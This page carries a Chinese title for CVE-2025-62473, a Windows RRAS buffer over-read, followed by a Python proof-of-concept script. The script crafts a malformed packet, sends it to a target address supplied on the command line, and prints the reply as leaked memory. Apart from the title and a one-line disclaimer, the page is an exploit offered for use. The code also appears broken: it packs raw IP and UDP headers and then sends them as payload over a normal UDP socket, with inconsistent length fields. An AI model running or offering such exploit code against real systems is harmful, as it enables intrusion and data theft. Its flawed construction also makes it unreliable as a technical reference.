CVE-2025-62473: Windows RRAS缓冲区过度读取信息泄露漏洞

# CVE-2025-62473 Windows RRAS Buffer Over-read PoC # This PoC demonstrates sending malformed packets to trigger the buffer over-read # Note: For authorized security testing only import socket import struct import sys def create_malformed_rras_packet(): """ Create a malformed RRAS packet to trigger buffer over-read """ # IP header ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, # Version and IHL 0x00, # TOS 0x0040, # Total length 0x0001, # ID 0x0000, # Flags and fragment offset 0x40, # TTL 0x11, # Protocol (UDP) 0x0000, # Checksum socket.inet_aton('192.168.1.100'), # Source IP socket.inet_aton('192.168.1.1') # Dest IP (RRAS server) ) # UDP header targeting RRAS port udp_header = struct.pack('!HHHH', 0xC000, # Source port (random high port) 0x0472, # Dest port (RRAS default port) 0x0008, # Length 0x0000 # Checksum ) # Malformed RRAS payload with oversized field payload = b'\x00' * 1024 # Oversized payload to trigger over-read payload += b'\xFF\xFF\xFF\xFF' # Trigger sequence return ip_header + udp_header + payload def exploit_rras(target_ip, target_port=1138): """ Send malformed packet to RRAS service """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malformed_rras_packet() print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) # Receive response (may contain leaked memory) sock.settimeout(5) try: response, addr = sock.recvfrom(4096) print(f"[!] Received response ({len(response)} bytes):") print(f"[+] Response hex: {response.hex()}") except socket.timeout: print("[-] No response received (may need packet refinement)") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62473.py <target_ip>") sys.exit(1) exploit_rras(sys.argv[1])